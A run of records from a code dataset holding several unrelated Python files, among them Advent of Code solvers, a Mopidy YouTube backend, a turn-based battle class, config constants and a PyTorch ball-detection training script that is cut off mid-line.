19): 'Baby Supplies',\n }),\n }),\n (60, 61): RangeKeyDict({\n (10, 11): 'Electronics & Software',\n (12, 13): 'Arts',\n (13, 14): 'Music',\n (14, 15): 'Toys', # AMZN Also mixes hobbies in :(\n }),\n})\n\n\ndef get_mint_category_from_unspsc(unspsc_code):\n \"\"\"Traverses the UNSPSC tree to find a Mint category for unspsc_code.\"\"\"\n if not unspsc_code:\n return DEFAULT_MINT_CATEGORY\n if type(unspsc_code) != int:\n unspsc_code = int(unspsc_code)\n\n segment_code = unspsc_code // 1000000 % 100\n segment_node = UNSPSC_TO_MINT_CATEGORY.get(\n segment_code, DEFAULT_MINT_CATEGORY)\n if type(segment_node) is str:\n return segment_node\n elif type(segment_node) is not RangeKeyDict:\n return DEFAULT_MINT_CATEGORY\n\n segment_default = segment_node.get(0, DEFAULT_MINT_CATEGORY)\n family_code = unspsc_code // 10000 % 100\n family_node = segment_node.get(\n family_code, segment_default)\n if type(family_node) is str:\n return family_node\n elif type(family_node) is not RangeKeyDict:\n return segment_default\n\n family_default = family_node.get(0, segment_default)\n class_code = unspsc_code // 100 % 100\n class_node = family_node.get(\n class_code, family_node.get(0, family_default))\n if type(class_node) is str:\n return class_node\n elif type(class_node) is not RangeKeyDict:\n return family_default\n\n class_default = class_node.get(0, family_default)\n commodity_code = unspsc_code % 100\n commodity_node = class_node.get(\n commodity_code, class_node.get(0, class_default))\n if type(commodity_node) is str:\n return commodity_node\n\n return commodity_node.get(0, class_default)\n","repo_name":"jprouty/mint-amazon-tagger","sub_path":"mintamazontagger/category.py","file_name":"category.py","file_ext":"py","file_size_in_byte":4898,"program_lang":"python","lang":"en","doc_type":"code","stars":224,"dataset":"github-code","pt":"32"} +{"seq_id":"11468772562","text":"import sys\nimport time\nimport re\nimport itertools\nimport copy\nimport numpy as np\n\n# shared variables here\ndef is_visible_from(grid, x, y, dx, dy, height = 0):\n is_visible = True\n if height == 0:\n height = grid[y][x]\n if dx != 0:\n if 0 <= x + dx < len(grid[0]):\n return grid[y][x + dx] < height and is_visible_from(grid, x + dx, y, dx, dy, height)\n else:\n return True\n elif dy != 0:\n if 0 <= y + dy < len(grid):\n return grid[y + dy][x] < height and is_visible_from(grid, x, y + dy, dx, dy, height)\n else:\n return True\n else:\n return False\n\ndef view_distance(grid, x, y, dx, dy, height = 0):\n if height == 0:\n height = grid[y][x]\n if dx != 0:\n if 0 <= x + dx < len(grid[0]):\n if grid[y][x + dx] < height:\n return 1 + view_distance(grid, x + dx, y, dx, dy, height)\n else:\n return 1\n else:\n return 0\n elif dy != 0:\n if 0 <= y + dy < len(grid[0]):\n if grid[y + dy][x] < height:\n return 1 + view_distance(grid, x, y + dy, dx, dy, height)\n else:\n return 1\n else:\n return 0\n else:\n return 0\n\n# part 1, takes in lines of file\ndef p1(lines):\n w = len(lines[0].strip())\n h = len(lines)\n grid = np.zeros((w, h))\n for y in range(len(lines)):\n for x in range(len(lines[0].strip())):\n grid[y][x] = lines[y][x]\n\n visible = w * 2 + (h - 2) * 2\n visible = 0\n visible_grid = copy.deepcopy(grid)\n\n for y in range(h):\n for x in range(w):\n left = is_visible_from(grid, x, y, -1, 0)\n right = is_visible_from(grid, x, y, 1, 0)\n top = is_visible_from(grid, x, y, 0, -1)\n bottom = is_visible_from(grid, x, y, 0, 1)\n if left or right or top or bottom:\n visible += 1\n visible_grid[y][x] = 1\n else:\n visible_grid[y][x] = 0\n\n return visible\n\n# part 2, takes in lines of file\ndef p2(lines):\n w = len(lines[0].strip())\n h = len(lines)\n grid = np.zeros((w, h))\n for y in range(len(lines)):\n for x in range(len(lines[0].strip())):\n grid[y][x] = lines[y][x]\n\n scores = []\n for y in range(len(grid)):\n for x in range(len(grid[0])):\n scores.append(\n view_distance(grid, x, y, 1, 0) *\n view_distance(grid, x, y, -1, 0) *\n view_distance(grid, x, y, 0, 1) *\n view_distance(grid, x, y, 0, -1)\n )\n\n scores.sort(reverse=True)\n return scores[0]\n\nfilename = \"input.txt\"\n\nif \"test\" in sys.argv:\n filename = \"test.txt\"\n\ndef format_time(time_ns):\n names = [\"hr\", \"m\", \"s\", \"ms\", \"µs\", \"ns\"]\n names.reverse()\n times = [\n time_ns % 1000,\n (time_ns // 1000) % 1000,\n (time_ns // (1000 * 10**3)) % 1000,\n (time_ns // (1000 * 10**6)) % 60,\n (time_ns // (1000 * 10**6) // 60) % 60,\n (time_ns // (1000 * 10**6) // 60 // 60) % 60\n ]\n for i in range(0, len(times)):\n if i < len(times) - 1:\n if times[i + 1] == 0:\n return \"%s%s \" % (times[i], names[i])\n else:\n return \"%s%s \" % (times[i], names[i])\n\nwith open(filename, \"r\") as f:\n lines = f.readlines()\n t = time.perf_counter_ns()\n a = p1(lines)\n dur = time.perf_counter_ns() - t\n\n print(\"\\033[0;33m├ Part 1:\\033[22m\\033[49m \\033[1;93m%s\\033[0m \\033[3mtook\\033[23m \\033[3;92m%s\\033[0m\" % (a, format_time(dur)))\n\n t = time.perf_counter_ns()\n a = p2(lines)\n dur = time.perf_counter_ns() - t\n print(\"\\033[0;33m└ Part 2:\\033[22m\\033[49m \\033[1;93m%s\\033[0m \\033[3mtook\\033[23m \\033[3;92m%s\\033[0m\" % (a, format_time(dur)))\n","repo_name":"PepperLola/adventofcode2022","sub_path":"2022/day8/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3830,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"4224250257","text":"from pandas_datareader import data\n# '035420.KS' = Naver종목코드.KospiCode\n\n\nnaver = data.get_data_yahoo('003490.KS') #6자리 주식종목 코드 입력\nprint(naver.head())\nprint(naver.tail())\n\nnaver.to_csv('naver.csv')\nnaver.to_pickle('naver.pickle')\n\nnaver.to_excel('naver.xlsx')","repo_name":"Jample93/test","sub_path":"주식.py","file_name":"주식.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"31295205048","text":"import os\nimport torch\nimport time\nfrom pathlib import Path\n\n\n\"\"\"EXECUTION PARAMETERS\"\"\"\nVERBOSE = False\nLOG = True\nDISPLAY = True\nDOWNLOAD_YT_MEDIA = False # Only effective if OS is linux\nPREPARE_DATA = False\nSMALL_DATASET = False\nLOAD_MODEL = False\nLOAD_ID = \"model_inter_epoch_40_of_100_loss_1p9649_id_1591266458.pt\"\n\n\"\"\"LEARNING PARAMETERS\"\"\"\nEPOCHS = 200\nLEARNING_RATE = 0.0001\nWEIGHT_DECAY = 0.0008\nBATCH_SIZE = 128\nSCHEDULER_RATE = 1\nSHUFFLE_DATALOADER = True\n\n\"\"\"DEVICE PARAMETERS\"\"\"\nGPU_ON = True\nCUDA_ON = torch.cuda.is_available()\nDEVICE = torch.device(\"cuda:0\" if CUDA_ON and GPU_ON else \"cpu\")\n\n\"\"\"DATA PROCESSING\"\"\"\nV_SCALE_OUT = 256\nSTFT_N = 512\nSTFT_HOP = 240\nSTFT_WINDOW = torch.hann_window(480)\nSTFT_NORMALIZED = True\nSPLIT_RATIO = 0.95\n\n\"\"\"MODEL ARCHITECTURE\"\"\"\nAUDIO_IN_DIM = [1, 257, 200] #width, height, depth\nVISION_IN_DIM = [3, 224, 224]\nAVE_NET_EMBED_DIM = 128\nCONVNET_CHANNELS = 64\nCONVNET_KERNEL = 3\nCONVNET_POOL_KERNEL = 2\nCONVNET_STRIDE = 2\n\n\"\"\"MEDIA DONWLOAD FORMAT\"\"\"\nA_LENGTH = 1\nV_LENGTH = 0\nA_CODEC = \"copy\"\nA_CHANNELS = 1\nA_FREQ = 48000\nV_SIZE = (640,480)\nV_FRAMERATE = \"25/1\"\nV_CODEC = \"copy\"\nV_ASPECT = \"4:3\"\nV_PIXEL = \"+\"\n\n\n\"\"\"PATHS\"\"\"\nPATH = Path(os.path.dirname(os.path.realpath(__file__))) / \"..\"\nPATH_TO_MODEL = str(PATH / \"model\" / \"model_id_{}.pt\")\nPATH_TO_MODEL_INTER = str(PATH / \"model\" / \"intermediate\" / \"model_inter_epoch_{}_of_{}_id_{}.pt\")\nPATH_TO_DATA = PATH / \"dataset\"\nPATH_TO_ARCHIVE = PATH / \"archive\"\nPATH_TO_MEDIA = PATH_TO_DATA / \"media\"\nPATH_TO_CACHE = PATH_TO_DATA / \"cache\"\nPATH_TO_DATA_CSV = PATH_TO_DATA / \"balanced_train_segments.csv\"\nPATH_TO_VISUAL = PATH_TO_DATA / \"media\" / \"visual\"\nPATH_TO_AUDIO = PATH_TO_DATA / \"media\" / \"audio\"\nPATH_TO_LOG = str(PATH / \"log\" / \"log_id_{}\") \nPATH_TO_TRAINING = PATH_TO_DATA / \"training_set\"\nPATH_TO_VALIDATION = PATH_TO_DATA / \"validation_set\"\nPATH_TO_DATALIST = PATH_TO_DATA / \"datalist.pt\"\nPATH_TO_VIZ = PATH / \"visualisation\"\nPATH_TO_PARAMS = PATH / \"source\" / \"parameters.py\"\n\n\"\"\"TO BE SET BY __MAIN__ IN TRAINING\"\"\"\nSESSION_ID = None\nLOGGER = None","repo_name":"Lcchy/AVSep_NET","sub_path":"source/parameters.py","file_name":"parameters.py","file_ext":"py","file_size_in_byte":2068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18281563573","text":"\"\"\" battle.py\n\nThis object represents a single battle between two units.\n\n\"\"\"\nimport time\nclass Battle():\n \"\"\" Contains all the properties and methods used in a battle object.\n Attributes:\n game (Game): The current state of the game.\n unit_close (Unit): the 'home' unit. 'players' unit. This is a Unit object.\n unit_far (Unit): the enemy unit. This is a Unit object.\n units (List): A list containing both units for easy looping.\n round (int): An integer denoting the current round of combat.\n\n \"\"\"\n no_turn = ['Para', 'Sleep', 'Stone'] # Which statuses prevent an action?\n\n def __init__(self, game, unit_1, unit_2):\n self.unit_close = unit_1\n self.game = game\n self.unit_far = unit_2\n self.units = [unit_1, unit_2]\n self.round = 0\n\n def is_battle_finished(self):\n \"\"\" Determines if the battle is finished.\n\n Returns:\n True if either unit is defeated\n false if either unit has a character that can act\n\n \"\"\"\n if self.is_a_unit_defeated():\n return True\n\n for unit in self.units:\n if unit.can_any_character_take_action_in_battle(self.round):\n return False\n\n return True\n\n def is_a_unit_defeated(self) -> bool:\n \"\"\" Determines if either unit in this battle is defeated completely.\n\n Returns:\n True if either of our units has only dead characters.\n\n \"\"\"\n for unit in self.units:\n if unit.is_any_char_alive() is False:\n return True\n\n return False\n\n\n def is_round_finished(self):\n \"\"\" Determines if both units have performed all possible actions this round.\n\n Returns:\n True if a unit is defeated or false if either unit can still take an action.\n\n \"\"\"\n if self.is_a_unit_defeated():\n return True\n\n can_unit_act = False\n for unit in self.units:\n if unit.can_any_character_take_action_in_round(self.round):\n can_unit_act = True\n\n if can_unit_act is True:\n return False\n\n return True\n\n @staticmethod\n def take_action(actor, action, enemy, enemy_unit):\n \"\"\" This function performs an action by an actor on an enemy.\n\n Args:\n actor (Character): The character peforming the action.\n action (Action): The action being taken.\n enemy (Character): The character receiving the action.\n enemy_unit (Unit): The unit of the character receiving the action.\n\n \"\"\"\n # use stats from both characters to determine an outcome.\n # for now, we just subtract damage from char health.\n # actions damage can be calculated here?\n # check for a crit\n is_crit = action.determine_crit(actor)\n if is_crit:\n damage = action.get_damage(actor, is_crit=True)\n enemy_pos = enemy_unit.get_character_position(enemy)\n enemy_unit.move_character(enemy, enemy_pos, enemy_pos+3, temp=True)\n else:\n damage = action.get_damage(actor, is_crit=False)\n\n # determine if it's blocked.\n # damage = char.calculate_defense(damage) # reduces an attack by some amount.\n if is_crit:\n print(f\"{enemy.char_name} gets CRIT ON! {damage} damage from {actor.char_name}!\")\n else:\n print(f\"{enemy.char_name} takes {damage} damage from {actor.char_name}!\")\n\n enemy.health -= damage\n print(f\"{enemy.char_name}'s health is reduced to {enemy.health}!\")\n if enemy.health <= 0:\n print(f\"{enemy.char_name} dies!\")\n enemy.is_alive = False\n\n actor.has_performed_action_this_round = True\n print(\"\\n\")\n\n def available_rows(self):\n \"\"\" Gets the first row with available actions for each function in this battle object.\n\n Returns:\n The the first row indicies for each of the units involved in the battle, or -1 if\n the unit does not have a row that can still take an action.\n \"\"\"\n return self.unit_close.which_row_can_go(), self.unit_far.which_row_can_go()\n\n def determine_turn_order_and_enemy_unit(self, row_index_for_unit_close, row_index_for_unit_far):\n \"\"\" Determines the turn order, 'friendly' and 'enemy' units for a round of battle.\n\n Args:\n row_index_for_unit_close (int): The first row that can go for the close unit\n row_index_for_unit_far (int): The first row that can go for the far unit\n\n Returns:\n char_order: A list of characters in turn order\n friendly_unit: The unit taking actions this round.\n enemy_unit: The unit to be acted upon.\n \"\"\"\n if row_index_for_unit_close >= 0 and row_index_for_unit_far >= 0:\n agi_close = self.unit_close.get_agi_by_row(row_index_for_unit_close)\n agi_far = self.unit_far.get_agi_by_row(row_index_for_unit_far)\n\n # we call a function that determines turn order and 'friendly/enemy' unit.\n if agi_close > agi_far:\n char_order = self.unit_close.determine_turn_order(row_index_for_unit_close)\n enemy_unit = self.unit_far\n elif agi_close < agi_far:\n char_order = self.unit_far.determine_turn_order(row_index_for_unit_far)\n enemy_unit = self.unit_close\n elif agi_close == agi_far:\n # coin flip for who goes.\n # hard set to unit close for now.\n char_order = self.unit_close.determine_turn_order(row_index_for_unit_close)\n enemy_unit = self.unit_far\n\n # only one of the two units can go this turn, but which unit?\n elif row_index_for_unit_close >= 0:\n char_order = self.unit_close.determine_turn_order(row_index_for_unit_close)\n enemy_unit = self.unit_far\n elif row_index_for_unit_far >= 0:\n char_order = self.unit_far.determine_turn_order(row_index_for_unit_far)\n enemy_unit = self.unit_close\n\n friendly_unit = self.game.get_unit_by_id(char_order[0].unit_id)\n\n return char_order, enemy_unit, friendly_unit\n\n def fight_it_out(self):\n \"\"\" This function does the majority of the combat logic. Combat will continue until no\n characters can take an action, or until all the characters in a unit are dead.\n\n \"\"\"\n self.round = 1\n while not self.is_battle_finished():\n\n print(f\"Round: {self.round}\")\n while not self.is_round_finished():\n row_index_for_unit_close, row_index_for_unit_far = self.available_rows()\n\n char_order, enemy_unit, friendly_unit =\\\n self.determine_turn_order_and_enemy_unit(\\\n row_index_for_unit_close,\\\n row_index_for_unit_far)\n\n # each character in this row takes their action\n for char in char_order:\n action = char.get_action_by_row()\n enemy = char.determine_target(enemy_unit, friendly_unit.targeting_mode)\n\n print(f\"{char.char_name} uses {action} on {enemy.char_name}!\")\n self.take_action(char, action, enemy, enemy_unit)\n\n time.sleep(2)\n\n self.round += 1\n\n # reset has_acted for all chars.\n for unit in [self.unit_far, self.unit_close]:\n unit.reset_has_performed_action_this_round()\n\n # reset statuses maybe\n\n # reset position for all characters? selfs over I guess.\n for unit in [self.unit_far, self.unit_close]:\n unit.reset_character_positions()\n","repo_name":"Spaynkee/ogreclone","sub_path":"classes/battle.py","file_name":"battle.py","file_ext":"py","file_size_in_byte":7869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25409891329","text":"# %%\nfrom collections import Counter\n\n# %%\nf = open(\"input_14.txt\", \"r\")\nlines = f.readlines()\n\ntemplate = lines[0][:-1]\nrules = {}\nfor l in lines[2:]:\n l = l[:-1]\n lsplit = l.split(\" -> \")\n rules[lsplit[0]] = lsplit[1]\n\n# %%\nfor i in range(0, 10):\n next_temp = \"\"\n for i in range(0, len(template) - 1):\n next_temp += template[i]\n pair = template[i : i + 2]\n next_temp += rules[pair]\n next_temp += template[-1]\n template = next_temp\n\n# %%\npolycount = Counter(template)\n# ANSWER 1\nprint(\n polycount[max(polycount, key=polycount.get)]\n - polycount[min(polycount, key=polycount.get)]\n)\n\n# %%\ntemplate = lines[0][:-1]\npairs = []\nfor i in range(0, len(template) - 1):\n pairs.append(template[i : i + 2])\n\n# %%\ndef polymer(pairs, total, n):\n new_pairs = []\n for p in pairs:\n for i in range(0, n):\n next_temp = \"\"\n for i in range(0, len(p) - 1):\n next_temp += p[i]\n pair = p[i : i + 2]\n next_temp += rules[pair]\n next_temp += p[-1]\n p = next_temp\n\n p_pairs = []\n for i in range(0, len(p) - 1):\n pairs.append(p[i : i + 2])\n new_pairs.append(p_pairs)\n\n polycount = Counter(p[:-1])\n for c in polycount:\n total[c] = total.get(c, 0) + polycount[c]\n\n return total, new_pairs\n\n\n# %%\ntotal = {}\ntotal, new_pairs = polymer(pairs, total, 10)\n\n# %%\npolycount = Counter(total)\nprint(\n polycount[max(polycount, key=polycount.get)]\n - polycount[min(polycount, key=polycount.get)]\n)\n\n# %%\ntotal = {}\nfor p in pairs:\n for i in range(0, 10):\n next_temp = \"\"\n for i in range(0, len(p) - 1):\n next_temp += p[i]\n pair = p[i : i + 2]\n next_temp += rules[pair]\n next_temp += p[-1]\n p = next_temp\n polycount = Counter(p[:-1])\n for c in polycount:\n total[c] = total.get(c, 0) + polycount[c]\n\nlast = pairs[-1][-1]\ntotal[last] += 1\n# %%\npolycount = Counter(total)\nprint(\n polycount[max(polycount, key=polycount.get)]\n - polycount[min(polycount, key=polycount.get)]\n)\n\n# %%\n","repo_name":"stepva/adventofcode","sub_path":"2021/14.py","file_name":"14.py","file_ext":"py","file_size_in_byte":2141,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"32"} +{"seq_id":"71113554650","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\n==================================================\n@Project: rcProject\n@Author: yang deai\n@Time: 2023/5/15:11:36\n@File: tensorboard_test.py\n==================================================\n\"\"\"\n\n\nif __name__ == \"__main__\":\n from torch.utils.tensorboard import SummaryWriter\n import numpy as np\n\n # writer = SummaryWriter()\n # for n_iter in range(100):\n # writer.add_scalar('Loss/train', np.random.random(), n_iter)\n # writer.add_scalar('Loss/test_func', np.random.random(), n_iter)\n # writer.add_scalar('Accuracy/train', np.random.random(), n_iter)\n # writer.add_scalar('Accuracy/test_func', np.random.random(), n_iter)\n\n\n img_batch = np.zeros((16, 3, 100, 100))\n for i in range(16):\n img_batch[i, 0] = np.arange(0, 10000).reshape(100, 100) / 10000 / 16 * i\n img_batch[i, 1] = (1 - np.arange(0, 10000).reshape(100, 100) / 10000) / 16 * i\n # img_batch[i, 2] = (1 - np.arange(0, 10000).reshape(100, 100) / 10000) / 16 * i\n\n writer = SummaryWriter()\n writer.add_images('my_image_batch', img_batch, 0)\n writer.close()\n","repo_name":"yangdeai/rc","sub_path":"test_func/tensorboard_test.py","file_name":"tensorboard_test.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71673844890","text":"import numpy as np\nimport cv2\nimport random\nimport os\nimport json\nimport torch\nfrom PIL import Image\nimport itertools\n\n\nground_truth = '2/ground_truth/'\njson_path = '2/test/json/'\nimg = cv2.imread('2/train/good/2021-04-14 140805.jpg')\n#img = cv2.imread('1/ground_truth/defect/2021-01-28 145336.jpg',0)\nheight, width, _ = img.shape\nfiles = os.listdir(json_path)\ndefect_image = []\n\n\"\"\"\ncontours, hierarchy = cv2.findContours(img, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\nfor cnt in contours:\n print(cnt[0])\n\"\"\"\nfor json_file in files:\n file_name = os.path.splitext(json_file)[0]\n blank_image = np.zeros((height,width), np.uint8)\n with open(os.path.join(json_path, json_file)) as f:\n data = json.load(f)\n print(len(data[\"shapes\"]))\n \n for shapes in (data[\"shapes\"]):\n cnts = shapes[\"points\"]\n for i,cnt in enumerate(cnts):\n cnts[i] = cnt\n print(np.array(cnts).astype(int))\n \n cv2.drawContours(blank_image,[np.array(cnts).astype(int)], 0, 255, -1)\n cv2.imwrite(ground_truth+file_name+'.jpg', blank_image)\n","repo_name":"fryegg/padim","sub_path":"write_ground_truth.py","file_name":"write_ground_truth.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20099161428","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals\n\nimport re\nimport string\nimport unicodedata\nfrom multiprocessing.pool import ThreadPool\nfrom urlparse import parse_qs, urlparse\n\nfrom mopidy import backend\nfrom mopidy.models import Album, SearchResult, Track\n\nimport pafy\n\nimport pykka\n\nimport requests\n\nfrom mopidy_youtube import logger\n\nyt_api_endpoint = 'https://www.googleapis.com/youtube/v3/'\nyt_key = 'AIzaSyAl1Xq9DwdE_KD4AtPaE4EJl3WZe2zCqg4'\nsession = requests.Session()\n\nvideo_uri_prefix = 'youtube:video'\nsearch_uri = 'youtube:search'\n\n\ndef resolve_track(track, stream=False):\n logger.debug(\"Resolving YouTube for track '%s'\", track)\n if hasattr(track, 'uri'):\n return resolve_url(track.comment, stream)\n else:\n return resolve_url(track.split('.')[-1], stream)\n\n\ndef safe_url(uri):\n valid_chars = \"-_.() %s%s\" % (string.ascii_letters, string.digits)\n safe_uri = unicodedata.normalize(\n 'NFKD',\n unicode(uri)\n ).encode('ASCII', 'ignore')\n return re.sub(\n '\\s+',\n ' ',\n ''.join(c for c in safe_uri if c in valid_chars)\n ).strip()\n\n\ndef resolve_url(url, stream=False):\n try:\n video = pafy.new(url)\n if not stream:\n uri = '%s/%s.%s' % (\n video_uri_prefix, safe_url(video.title), video.videoid)\n else:\n uri = video.getbestaudio()\n if not uri: # get video url\n uri = video.getbest()\n logger.debug('%s - %s %s %s' % (\n video.title, uri.bitrate, uri.mediatype, uri.extension))\n uri = uri.url\n if not uri:\n return\n except Exception as e:\n # Video is private or doesn't exist\n logger.info(e.message)\n return\n\n images = []\n if video.bigthumb is not None:\n images.append(video.bigthumb)\n if video.bigthumbhd is not None:\n images.append(video.bigthumbhd)\n\n track = Track(\n name=video.title,\n comment=video.videoid,\n length=video.length * 1000,\n album=Album(\n name='YouTube',\n images=images\n ),\n uri=uri\n )\n return track\n\n\ndef search_youtube(q):\n query = {\n 'part': 'id',\n 'maxResults': 15,\n 'type': 'video',\n 'q': q,\n 'key': yt_key\n }\n result = session.get(yt_api_endpoint+'search', params=query)\n data = result.json()\n\n resolve_pool = ThreadPool(processes=16)\n playlist = [item['id']['videoId'] for item in data['items']]\n\n playlist = resolve_pool.map(resolve_url, playlist)\n resolve_pool.close()\n return [item for item in playlist if item]\n\n\ndef resolve_playlist(url):\n resolve_pool = ThreadPool(processes=16)\n logger.info(\"Resolving YouTube-Playlist '%s'\", url)\n playlist = []\n\n page = 'first'\n while page:\n params = {\n 'playlistId': url,\n 'maxResults': 50,\n 'key': yt_key,\n 'part': 'contentDetails'\n }\n if page and page != \"first\":\n logger.debug(\"Get YouTube-Playlist '%s' page %s\", url, page)\n params['pageToken'] = page\n\n result = session.get(yt_api_endpoint+'playlistItems', params=params)\n data = result.json()\n page = data.get('nextPageToken')\n\n for item in data[\"items\"]:\n video_id = item['contentDetails']['videoId']\n playlist.append(video_id)\n\n playlist = resolve_pool.map(resolve_url, playlist)\n resolve_pool.close()\n return [item for item in playlist if item]\n\n\nclass YouTubeBackend(pykka.ThreadingActor, backend.Backend):\n def __init__(self, config, audio):\n super(YouTubeBackend, self).__init__()\n self.config = config\n self.library = YouTubeLibraryProvider(backend=self)\n self.playback = YouTubePlaybackProvider(audio=audio, backend=self)\n\n self.uri_schemes = ['youtube', 'yt']\n\n\nclass YouTubeLibraryProvider(backend.LibraryProvider):\n def lookup(self, track):\n if 'yt:' in track:\n track = track.replace('yt:', '')\n\n if 'youtube.com' in track:\n url = urlparse(track)\n req = parse_qs(url.query)\n if 'list' in req:\n return resolve_playlist(req.get('list')[0])\n else:\n return [item for item in [resolve_url(track)] if item]\n else:\n return [item for item in [resolve_track(track)] if item]\n\n def search(self, query=None, uris=None, exact=False):\n # TODO Support exact search\n\n if not query:\n return\n\n if 'uri' in query:\n search_query = ''.join(query['uri'])\n url = urlparse(search_query)\n if 'youtube.com' in url.netloc:\n req = parse_qs(url.query)\n if 'list' in req:\n return SearchResult(\n uri=search_uri,\n tracks=resolve_playlist(req.get('list')[0])\n )\n else:\n logger.info(\n \"Resolving YouTube for track '%s'\", search_query)\n return SearchResult(\n uri=search_uri,\n tracks=[t for t in [resolve_url(search_query)] if t]\n )\n else:\n search_query = ' '.join(query.values()[0])\n logger.info(\"Searching YouTube for query '%s'\", search_query)\n return SearchResult(\n uri=search_uri,\n tracks=search_youtube(search_query)\n )\n\n\nclass YouTubePlaybackProvider(backend.PlaybackProvider):\n\n def translate_uri(self, uri):\n track = resolve_track(uri, True)\n if track is not None:\n return track.uri\n else:\n return None\n","repo_name":"chasecreates/Lyre","sub_path":"env/lib/python2.7/site-packages/mopidy_youtube/backend.py","file_name":"backend.py","file_ext":"py","file_size_in_byte":5792,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"73159581211","text":"import sys\nimport os\nfrom pathlib import Path\nfrom strategies.csv_location_strategy import CSVLocationStrategy\nfrom strategies.database_location_strategy import DatabaseLocationStrategy\nfrom services.location_service import LocationService\nfrom data_sources.csv_data_source import CSVDataSource\nfrom data_sources.sqlite_data_source import SQLiteDataSource\nfrom input_streams.csv_stream import CSVStream as CSVInputStream\nfrom input_streams.json_stream import JSONStream as JSONInputStream\nfrom output_streams.csv_stream import CSVStream as CSVOutputStream\nfrom output_streams.json_stream import JSONStream as JSONOutputStream\nfrom utils.utils import is_within_time_window\nfrom app import App\n\ntranslation_type = sys.argv[1]\ninput_file = sys.argv[2]\noutput_file = sys.argv[3]\n\ninput_stream_mapping = {\n '.csv': CSVInputStream,\n '.jsonl': JSONInputStream,\n}\n\ninput_file_extension = Path(input_file).suffix\nprint(Path(input_file).suffix)\ninput_stream_type = input_stream_mapping[input_file_extension]\n\nif input_stream_type is None:\n print(f\"Invalid input file extension: {input_file_extension}\")\n sys.exit(1)\n\ninput_stream = input_stream_type(input_file)\n\noutput_stream_mapping = {\n '.csv': CSVOutputStream,\n '.jsonl': JSONOutputStream,\n}\n\noutput_file_extension = Path(output_file).suffix\noutput_stream_type = output_stream_mapping.get(output_file_extension)\n\nif output_stream_type is None:\n print(f\"Invalid output file extension: {output_file_extension}\")\n sys.exit(1)\n\noutput_stream = output_stream_type(output_file)\n\ntranslation_type_mapping = {\n 'csv': CSVLocationStrategy(\n CSVDataSource(\n os.path.abspath(\"IPs.csv\"))),\n 'database': DatabaseLocationStrategy(\n SQLiteDataSource(\n os.path.abspath(\"IPs.sqlite\")))\n}\n\nlocation_service = LocationService(\n translation_type_mapping.get(translation_type))\n\napp = App(location_service, input_stream, output_stream)\n\ntime_window_minutes = 30\ntime_window_ms = time_window_minutes * 60 * 1000\n\napp.process_messages(time_window_ms)","repo_name":"bergaminifrg/location_detector_challenge","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2040,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"69805075293","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torchvision import datasets, transforms\nimport glob\nimport numpy as np\nimport math\nfrom dataset_det import Balls_CF_Detection, COLORS\n\nbatch_size = 100\ntest_batch_size = 100\nepochs = 300\nend_fc1 = 64\nend_fc2 = 32\n\nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.conv1 = nn.Conv2d(3, 64, 3, 1)\n self.conv2 = nn.Conv2d(64, 128, 3, 1)\n self.dropout1 = nn.Dropout(0.25)\n self.dropout2 = nn.Dropout(0.5)\n self.fc1 = nn.Linear(294912, end_fc1)\n self.fc2 = nn.Linear(end_fc1, end_fc2)\n self.fc3 = nn.Linear(end_fc2, 9)\n self.fcbb1 = nn.Linear(end_fc1, end_fc2)\n self.fcbb2 = nn.Linear(end_fc2, 4*9)\n\n def forward(self, x):\n x = self.conv1(x)\n x = F.relu(x)\n x = self.conv2(x)\n x = F.relu(x)\n x = F.max_pool2d(x, 2)\n x = self.dropout1(x)\n x = torch.flatten(x, 1)\n x = self.fc1(x)\n x = F.relu(x)\n x = self.dropout2(x)\n y = self.fcbb1(x)\n x = self.fc2(x)\n x = F.relu(x)\n y = F.relu(y)\n y = self.fcbb2(y)\n x = self.fc3(x)\n return x, y\n#weight=torch.tensor([1,2])\n\ndef train(model, train_loader, optimizer, epoch):\n model.share_memory()\n model.train()\n correct = 0\n for batch_idx, (data, target, bounding_box) in enumerate(train_loader):\n optimizer.zero_grad()\n data = data.to(\"cuda\")\n target = target.to(\"cuda\")\n bounding_box = bounding_box.to(\"cuda\")\n outcol, outcoor = model(data)\n \n bce = torch.nn.BCEWithLogitsLoss()\n #bce = torch.nn.BCEWithLogitsLoss(pos_weight=torch.add(torch.flatten(target), 1)) # try without weight\n losscol = bce(torch.flatten(outcol), torch.flatten(target).float())\n mse = torch.nn.MSELoss()\n losscoor = mse(torch.flatten(outcoor), torch.flatten(bounding_box).float())\n \n sumloss = losscol + losscoor\n sumloss.backward()\n optimizer.step()\n pred = torch.sigmoid(outcol) > 0.5 # get the index of the max log-probability\n correct += pred.eq(target).sum().item()\n if batch_idx % 10 == 0:\n print('Train Epoch: {} [{}/{} ({:.0f}%)]\\tColor loss: {:.6f}\\tCoor. loss: {:.6f}'.format(\n epoch, batch_idx * len(data), len(train_loader.dataset),\n 100. * batch_idx / len(train_loader), losscol.item(), losscoor.item()))\n\n correct /= 9\n print('\\nTrain set: Accuracy: {}/{} ({:.0f}%)\\n'.format(correct, len(train_loader.dataset),\n 100. * correct / len(train_loader.dataset)))\n\n\ndef test(model, test_loader):\n model.eval()\n test_loss_col = 0\n test_loss_coor = 0\n correct_col = 